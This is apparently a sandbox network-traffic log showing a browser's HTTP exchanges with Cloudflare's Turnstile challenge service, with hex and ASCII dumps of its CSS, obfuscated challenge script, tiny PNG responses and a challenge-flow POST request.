.timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #exp
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c Data Ascii: }.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active,
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b Data Ascii: esh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:link
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 64 Data Ascii: :checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wid
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a 30 Data Ascii: ontent:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:0
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f Data Ascii: {margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{co

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:08 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=925f6e3cbb80917b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:08 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:08 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 115093 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 925f6e401f220c84-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:08 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 43 75 55 53 37 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 Data Ascii: window._cf_chl_opt.CuUS7={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsi
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a Data Ascii: stile_footer_terms":"Terms","turnstile_refresh":"Refresh","turnstile_failure":"Error","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","turnstile_footer_privacy":"Privacy","turnstile_verifying":"Verifying...","feedback_report_aux_subtitle":
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 4f 2c 65 52 2c 65 53 2c 66 6f 2c 66 76 2c 66 77 2c 66 41 2c 66 42 2c 66 43 2c 66 46 2c 66 49 2c 66 4b 2c 66 4c 2c 66 Data Ascii: %20has%20been%20successfully%20submitted"},"polyfills":{"feedback_report_guideline":false,"feedback_report_output_subtitle":false,"feedback_report_aux_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eR,eS,fo,fv,fw,fA,fB,fC,fF,fI,fK,fL,f
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 67 4a 28 31 34 34 35 29 3f 65 4e 5b 67 4a 28 37 38 34 29 5d 28 67 4a 28 39 37 35 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 66 72 2c 30 29 7d 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 72 2c 30 29 2c 65 4d 5b 67 4a 28 37 37 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 68 52 2c 65 29 7b 65 3d 28 68 52 3d 67 4a 2c 7b 27 4d 5a 73 50 74 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 7d 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 5b 68 52 28 38 33 31 29 5d 28 66 75 2c 63 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 20 65 5b 68 52 28 38 33 31 29 5d 28 66 73 2c 66 74 28 63 29 29 7d 7d 2c 66 76 3d 7b 7d 2c 66 76 5b 67 4a 28 36 32 32 29 5d 3d 27 6f 27 2c 66 76 5b 67 4a 28 31 34 38 31 29 5d 3d 27 Data Ascii: gJ(1445)?eN[gJ(784)](gJ(975),function(){setTimeout(fr,0)}):setTimeout(fr,0),eM[gJ(772)]=function(c,hR,e){e=(hR=gJ,{'MZsPt':function(g,h){return g(h)}});try{return e[hR(831)](fu,c)}catch(g){return e[hR(831)](fs,ft(c))}},fv={},fv[gJ(622)]='o',fv[gJ(1481)]='
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 6a 5b 48 5d 5b 68 57 28 31 34 32 29 5d 28 47 29 7d 7d 2c 66 41 3d 67 4a 28 31 34 36 29 5b 67 4a 28 31 35 35 33 29 5d 28 27 3b 27 29 2c 66 42 3d 66 41 5b 67 4a 28 38 38 30 29 5d 5b 67 4a 28 39 33 30 29 5d 28 66 41 29 2c 65 4d 5b 67 4a 28 31 31 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 68 5a 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 66 6f 72 28 68 5a 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 5a 28 35 33 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3d 3d 3d 76 7d 2c 6b 3d 6a 2c 6c 3d 4f 62 6a 65 63 74 5b 68 5a 28 35 35 32 29 5d 28 69 29 2c 6d 3d 30 3b 6d 3c 6c 5b 68 5a 28 31 30 38 38 29 5d 3b 6d 2b 2b 29 69 66 28 6e 3d 6c 5b 6d 5d 2c 27 66 27 3d 3d 3d 6e 26 26 28 6e 3d 27 4e 27 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d Data Ascii: j[H][hW(142)](G)}},fA=gJ(146)[gJ(1553)](';'),fB=fA[gJ(880)][gJ(930)](fA),eM[gJ(1179)]=function(h,i,hZ,j,k,l,m,n,o){for(hZ=gJ,j={},j[hZ(530)]=function(s,v){return s===v},k=j,l=Object[hZ(552)](i),m=0;m<l[hZ(1088)];m++)if(n=l[m],'f'===n&&(n='N'),h[n]){for(o=
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 7d 2c 27 4b 74 4d 50 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 74 6a 6e 67 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 56 55 6a 70 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 70 54 67 52 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 2c 27 4f 4c 6d 6f 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 69 30 28 31 36 31 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 31 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 31 3d 69 30 2c 69 3d 7b 7d 2c 69 5b 69 31 28 36 37 39 29 5d 3d 64 5b 69 31 28 Data Ascii: },'KtMPR':function(h,i){return i&h},'tjnga':function(h,i){return h(i)},'VUjpv':function(h,i){return h(i)},'pTgRa':function(h,i){return i===h},'OLmoG':function(h,i){return h+i}},e=String[i0(161)],f={'h':function(h,i1,i,j){return i1=i0,i={},i[i1(679)]=d[i1(
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 31 32 29 5d 28 53 74 72 69 6e 67 2c 4b 29 29 7d 69 66 28 27 27 21 3d 3d 43 29 7b 69 66 28 4f 62 6a 65 63 74 5b 69 33 28 35 37 34 29 5d 5b 69 33 28 35 31 34 29 5d 5b 69 33 28 31 32 35 34 29 5d 28 42 2c 43 29 29 7b 69 66 28 64 5b 69 33 28 33 35 34 29 5d 28 32 35 36 2c 43 5b 69 33 28 32 35 34 29 5d 28 30 29 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 69 33 28 31 34 32 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 69 33 28 32 35 34 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 69 33 28 35 33 36 29 5d 28 48 2c 31 29 7c 4d 26 31 2c 49 3d 3d 64 5b 69 33 28 37 36 39 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 69 33 28 31 34 32 29 5d 28 6f 28 48 29 Data Ascii: 12)](String,K))}if(''!==C){if(Object[i3(574)][i3(514)][i3(1254)](B,C)){if(d[i3(354)](256,C[i3(254)](0))){for(s=0;s<F;H<<=1,j-1==I?(I=0,G[i3(142)](o(H)),H=0):I++,s++);for(M=C[i3(254)](0),s=0;8>s;H=d[i3(536)](H,1)\|M&1,I==d[i3(769)](j,1)?(I=0,G[i3(142)](o(H)
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 5b 4c 5b 4d 5d 5d 5b 69 36 28 31 30 38 38 29 5d 29 3b 2d 31 3d 3d 3d 4e 5b 4f 5d 5b 69 36 28 31 34 33 36 29 5d 28 4f 5b 50 5b 51 5d 5d 5b 50 5d 29 26 26 28 52 28 53 5b 54 5b 55 5d 5d 5b 50 5d 29 7c 7c 56 5b 4f 5d 5b 69 36 28 31 34 32 29 5d 28 27 6f 2e 27 2b 57 5b 58 5b 59 5d 5d 5b 50 5d 29 29 2c 50 2b 2b 29 3b 7d 65 6c 73 65 20 5a 5b 4f 5d 3d 61 30 5b 61 31 5b 61 32 5d 5d 5b 69 36 28 31 32 36 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 61 36 29 7b 72 65 74 75 72 6e 27 6f 2e 27 2b 61 36 7d 29 3b 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 36 28 37 30 38 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 69 36 28 31 35 36 32 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c Data Ascii: [L[M]][i6(1088)]);-1===N[O][i6(1436)](O[P[Q]][P])&&(R(S[T[U]][P])\|\|V[O][i6(142)]('o.'+W[X[Y]][P])),P++);}else Z[O]=a0[a1[a2]][i6(1268)](function(a6){return'o.'+a6});switch(J){case 0:for(J=0,K=Math[i6(708)](2,8),F=1;K!=F;L=H&G,H>>=1,d[i6(1562)](0,H)&&(H=j,
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 2c 64 5b 69 37 28 31 32 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 65 5b 69 37 28 36 35 35 29 5d 28 31 65 33 2c 65 4d 5b 69 37 28 34 31 31 29 5d 5b 69 37 28 36 30 36 29 5d 28 65 5b 69 37 28 31 32 36 33 29 5d 28 32 2c 66 29 2c 33 32 29 29 2c 65 4d 5b 69 37 28 37 32 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 38 29 7b 69 38 3d 69 37 2c 65 5b 69 38 28 38 30 30 29 5d 3d 3d 3d 69 38 28 33 35 35 29 3f 65 4d 5b 69 38 28 31 31 36 37 29 5d 26 26 28 65 4d 5b 69 38 28 31 31 33 35 29 5d 5b 69 38 28 34 36 30 29 5d 28 29 2c 65 4d 5b 69 38 28 31 31 33 35 29 5d 5b 69 38 28 32 35 30 29 5d 28 29 2c 65 4d 5b 69 38 28 33 36 39 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 65 5b 69 38 28 33 39 36 29 5d 5d 5b Data Ascii: ,d[i7(1263)]=function(h,i){return h<<i},e=d,f=1,g=e[i7(655)](1e3,eM[i7(411)][i7(606)](e[i7(1263)](2,f),32)),eM[i7(728)](function(i8){i8=i7,e[i8(800)]===i8(355)?eM[i8(1167)]&&(eM[i8(1135)][i8(460)](),eM[i8(1135)][i8(250)](),eM[i8(369)]=!![],eM[e[i8(396)]][
2025-03-25 15:27:08 UTC	1369	IN	Data Raw: 76 29 29 7d 63 61 74 63 68 28 78 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 33 38 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 69 61 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 69 66 28 69 61 3d 67 4a 2c 65 3d 7b 27 57 51 63 71 4a 27 3a 69 61 28 31 34 38 31 29 2c 27 71 4d 4b 57 48 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 2c 27 78 70 54 59 61 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 2c 27 51 65 7a 46 58 27 3a 69 61 28 31 35 35 35 29 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 28 66 3d 64 5b 69 61 28 31 35 37 33 29 5d 2c 64 5b 69 61 28 34 32 31 29 5d 26 26 74 79 70 65 6f 66 20 64 5b 69 61 28 34 32 31 29 5d 3d 3d 3d 65 5b 69 61 28 37 38 30 Data Ascii: v))}catch(x){}},eM[gJ(384)]=function(d,ia,e,f,g,h,i,j,k,l,m){if(ia=gJ,e={'WQcqJ':ia(1481),'qMKWH':function(n,o){return n>o},'xpTYa':function(n,o,s){return n(o,s)},'QezFX':ia(1555)},d instanceof Error)(f=d[ia(1573)],d[ia(421)]&&typeof d[ia(421)]===e[ia(780

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:08 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:08 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:08 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 925f6e402a425e7a-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:08 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:09 UTC	425	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:09 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:09 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 925f6e443c7bae20-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:09 UTC	1190	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3407 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
